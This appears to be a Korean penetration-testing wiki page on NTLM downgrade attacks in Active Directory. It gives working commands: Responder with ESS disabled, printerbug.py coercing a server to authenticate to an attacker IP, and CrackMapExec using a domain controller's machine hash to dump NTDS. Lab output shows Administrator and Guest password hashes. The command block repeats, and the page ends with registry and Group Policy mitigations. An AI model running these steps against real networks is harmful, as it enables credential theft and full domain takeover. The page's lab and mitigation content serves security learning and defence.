NTLM 다운그레이드
전제 조건
실습
# Responder 실행
responder -I <NIC> -v --disable-ess
# 프린터버그 실행
git clone https://github.com/dirkjanm/krbrelayx
python3 printerbug.py '<domain>/<user>:<pass>'@<fqdn/IP> <attackerIP>

대응 방안
레퍼런스
Last updated
# Responder 실행
responder -I <NIC> -v --disable-ess
# 프린터버그 실행
git clone https://github.com/dirkjanm/krbrelayx
python3 printerbug.py '<domain>/<user>:<pass>'@<fqdn/IP> <attackerIP>

Last updated
┌──(root㉿kali)-[/opt/NetNTLMtoSilverTicket]
└─# cme smb 192.168.40.150 -u "DC01$" -H '01d90becd940616e8d0e7540f5e725dc' -d choi.local --ntds
SMB 192.168.40.150 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:choi.local) (signing:True) (SMBv1:False)
SMB 192.168.40.150 445 DC01 [+] choi.local\DC01$:01d90becd940616e8d0e7540f5e725dc
SMB 192.168.40.150 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.40.150 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB 192.168.40.150 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
< ... > # 레지스트리
HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel
- 3 이상으로 설정
# 그룹 정책
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security: LAN Manager authentication level
- 3 이상으로 설정